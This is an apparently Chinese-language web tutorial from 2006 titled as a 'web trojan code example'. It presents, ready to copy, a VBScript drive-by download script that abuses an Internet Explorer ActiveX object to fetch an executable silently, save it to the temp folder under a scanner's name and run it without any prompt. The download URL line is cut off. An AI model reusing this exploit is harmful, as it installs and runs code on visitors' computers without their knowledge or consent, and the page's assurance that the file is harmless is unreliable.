快捷導(dǎo)航

網(wǎng)頁木馬代碼例子（里面的文件是漏洞掃描器，呵呵）

更新時(shí)間：2006年12月13日 00:00:00 作者：

對(duì)于經(jīng)常上網(wǎng)沖浪的朋友對(duì)于網(wǎng)頁木馬一定不會(huì)陌生，打開某個(gè)網(wǎng)站，莫名其妙的運(yùn)行了某個(gè)木馬，雖然在"Internet選項(xiàng)"里有"安全"設(shè)置，但是下面的代碼就不會(huì)彈出任何信息就直接運(yùn)行了程序，不信，follow me!
(提示: 只是了解一下技術(shù)和方法，千萬別搞破壞，yexj00.exe是一個(gè)windows2000 漏洞掃描器和查漏補(bǔ)缺用的，不是病毒或木馬，放心運(yùn)行。)

復(fù)制代碼代碼如下:

<script language="VBScript"> 
    on error resume next 
    dl = "<a  
    set ye=document.createElement("object") 
    yStr="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 
   ye.setAttribute "classid",yStr 
    Set x = ye.CreateObject("Microsoft.XMLHTTP","") 
    set S = ye.createobject("ADODB.Stream","") 
    S.type = 1 
    x.Open "GET", dl, False 
    x.Send 
    fname="win2000漏洞掃描器.exe" 
    set F = ye.createobject("Scripting.FileSystemObject","") 
    set tmp = F.GetSpecialFolder(2) 
    fname= F.BuildPath(tmp,fname) 
    S.open 
    S.write x.responseBody 
    S.savetofile fname,2 
    S.close 
    set A=ye.createobject("Shell.Application","") 
      A.ShellExecute fname,"","",  "open",1 
    </script> 